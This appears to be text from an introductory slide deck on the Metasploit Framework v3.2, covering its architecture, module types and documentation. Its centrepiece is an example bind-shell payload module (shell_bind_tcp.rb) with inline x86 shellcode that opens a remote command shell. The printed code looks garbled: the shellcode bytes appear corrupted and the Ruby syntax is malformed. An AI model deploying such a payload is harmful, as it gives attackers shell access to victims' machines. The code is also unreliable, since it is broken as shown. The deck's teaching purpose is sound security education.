The Metasploit Framework
The Metasploit Framework

- **What is it?**
  - An extensible platform for developing and using exploits
  - A collection of standardized exploits and payloads

- **Why does it matter?**
  - No comparable open source solution
  - Useful as a learning and test tool
  - The “standard” in non-commercial exploits
What we will cover

- The framework in general
- Directory structure
- Modules
- Exploits
- Payloads
- Documentation & Videos
Metasploit v3.2 -- Architecture

- custom plugins
  - msfconsole
  - msfcli
  - msfweb
  - msfwm
  - msfapi

- libraries
  - rex
  - framework-core
  - framework-base

- protocol tools
  - module tools
    - exploits
    - payloads
    - encoders
    - nops
    - auxiliary

- security tools
- web services
- integration
Example payload: shell_bind_tcp.rb

```ruby
module ShellBindTcp

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
           'Name'        => 'Linux Command Shell, Bind TCP Inline',
           'Version'     => '$Revision: 4571 $',
           'Description' => 'Listen for a connection and spawn a command shell',
           'Author'      => ['skape', 'vlad902'],
           'License'     => MSF_LICENSE,
           'Platform'    => 'linux',
           'Arch'        => ARCH_X86,
           'Handler'     => Msf::Handler::BindTCP,
           'Session'     => Msf::Sessions::CommandShell,
           'Payload'     =>
           {
             'Offsets' =>
             {
               'LPORT' => [ 0x14, 'n' ],
             },
             'Payload' =>
             "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x39\x39\x39\x3e\x0d\x80\x5b" +
             "\x43\x52\x66\x68\xf6\xf6\x66\x53\x89\x8e\x01\x6a\x66\x58\x50\x51\x56" +
             "\x89\xe1\xcd\x80\x4d\x06\x61\x63\x90\x52\x86\x86\x33\x89\xe1" +
             "\x0b\x56\x89\x8d\x73\x68\x68\x68\x68\x8f\x82\x89\x6e\x89\xe3\x52\x53" +
             "\x89\xe1\xcd\x80"
           }
   }

end end end end end
```

Documentation

- Documentation & Support:
  - http://www.metasploit.com/framework/support/
    - Installation
    - Metasploit Framework User Guide
    - Metasploit Framework Developer Guide
    - Meterpreter Guide
Videos & Demos

- Videos & Demos
  - Good for Introduction
  - However, you still need to do the work
  - We will create our own using vnc2swf